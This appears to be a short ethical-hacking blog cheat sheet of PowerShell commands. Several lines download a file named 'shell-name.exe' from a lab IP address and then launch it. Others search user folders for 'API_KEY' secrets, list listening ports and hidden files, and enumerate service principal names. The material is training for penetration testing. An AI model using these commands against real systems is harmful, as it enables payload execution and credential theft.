Powershell Essentials for Ethical Hacking
PowerShell is a command-line shell and scripting language developed by Microsoft for automating tasks and managing systems. It uses cmdlets to perform specific functions and supports object-oriented output, allowing for efficient system administration. It is cross-platform (Windows, Linux, macOS), integrates with .NET, and is widely used for automating repetitive tasks and managing local and remote systems. PowerShell can also be used in ethical hacking:

PowerShell Cheat Sheet
Download a file
powershell -c "wget -Uri http://10.2.121.73:80/shell-name.exe -OutFile shell-name.exe"
OR
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.121.73:80/shell-name.exe','shell-name.exe')"
OR
powershell -c "Invoke-WebRequest -Uri http://10.2.121.73:80/shell-name.exe -OutFile shell-name.exe"
Show Windows system information
systeminfo | Select-String "^OS Name","^OS Version"
Start and run programs
powershell -c "Start-Process 'shell-name.exe'"
Show hidden files in directory
Get-ChildItem . -Force
OR
gci -force .
Get listening ports locally
Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' }
Find files
Get-ChildItem -Path "C:\" -Filter backup* -Recurse -ErrorAction SilentlyContinue -Force
OR
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | Select-String "API_KEY"
Show installed patches / hotfixes
Get-HotFix
Show IP info
Get-NetIPAddress
Show Service Principle Name (SPN)
SetSPN -T corp -Q */*

Leave a comment